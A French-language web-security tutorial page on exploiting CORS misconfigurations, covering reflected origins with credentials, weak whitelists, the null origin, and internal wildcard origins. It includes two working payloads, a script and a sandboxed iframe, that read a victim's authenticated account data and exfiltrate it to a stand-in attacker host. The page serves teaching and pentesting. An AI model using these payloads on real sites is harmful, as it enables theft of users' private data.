CORS¶
Le partage de ressources entre origines (Cross-Origin Resource Sharing, CORS) est un mécanisme du navigateur qui contrôle l'accès aux ressources situées hors du domaine courant. Il étend la politique de même origine (Same-Origin Policy, SOP) en autorisant, de façon contrôlée, certains accès inter-origines. Mal configurée, une politique CORS introduit des failles — notamment l'accès à des données sensibles d'autres utilisateurs.
Le cas exploitable de base¶
Le scénario classique combine deux conditions dans la réponse à une requête inter-origine : l'en-tête Access-Control-Allow-Credentials: true (qui autorise l'envoi des identifiants de l'utilisateur) et une origine réfléchie. On confirme la vulnérabilité en ajoutant un en-tête Origin: https://exemple.com à la requête et en constatant que cette origine est renvoyée telle quelle dans la réponse. Sans l'en-tête Allow-Credentials, les identifiants ne sont pas transmis et l'accès se réduit à une lecture anonyme banale.
Quand les deux conditions sont réunies, on exploite via un script hébergé qui lit les données authentifiées de la victime et les exfiltre :
<script>
var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://attaquant.example', {method:'POST', mode:'no-cors', body:this.responseText});
};
req.open('get', 'https://site-vulnerable.example/accountDetails', true);
req.withCredentials = true;
req.send();
</script>
La seule différence avec l'exploitation d'une XSS est la propriété withCredentials = true, qui force l'envoi des cookies de session.
Mauvaises validations de liste blanche¶
Quand une application autorise plusieurs origines via une liste blanche, la façon de la construire crée souvent des failles. Une comparaison de préfixe ou de suffixe se contourne en enregistrant un domaine qui se termine par la séquence autorisée, ou un sous-domaine moins sécurisé déjà compromis. Les mêmes erreurs que pour la validation de l'en-tête Host et des défenses SSRF s'appliquent ici.
L'origine null¶
Certaines applications autorisent la valeur null pour l'en-tête Origin. Or une iframe en bac à sable génère justement une origine null, ce qui permet d'exploiter cette confiance :
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = function() {
fetch('https://attaquant.example', {method:'POST', mode:'no-cors', body:this.responseText});
};
req.open('get', 'https://site-vulnerable.example/accountDetails', true);
req.withCredentials = true;
req.send();
</script>"></iframe>
CORS comme relais d'attaque¶
De façon plus générale, CORS établit une relation de confiance entre deux sites. Si l'attaquant compromet l'un d'eux (via une XSS, par exemple), il peut s'en servir pour attaquer l'autre, en chaînant XSS et requête CORS authentifiée.
CORS sans l'en-tête Allow-Credentials¶
En l'absence de Access-Control-Allow-Credentials: true, la plupart des exploits sont impossibles. Une autre voie existe néanmoins via les réseaux internes, identifiables par des réponses où l'origine est autorisée de façon trop large :
GET /reader?url=doc1.pdf
Host: intranet.site-vulnerable.example
Origin: https://site-vulnerable.example
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Un service interne renvoyant Access-Control-Allow-Origin: * peut être atteint depuis une page web si l'attaquant parvient à atteindre le réseau interne.
Aide-mémoire¶
| Configuration | Exploitation |
|---|---|
Allow-Credentials: true + origine réfléchie |
Lecture de données authentifiées via withCredentials |
| Validation par préfixe/suffixe | Domaine ou sous-domaine forgé |
Origine null autorisée |
Iframe en bac à sable (sandbox) |
| Relation de confiance | XSS sur un site de confiance → requête CORS |
Allow-Origin: * interne |
Accès aux services intranet |
Le réflexe de diagnostic est d'ajouter un en-tête Origin arbitraire et de vérifier s'il est réfléchi avec Allow-Credentials: true — la combinaison qui rend la faille exploitable.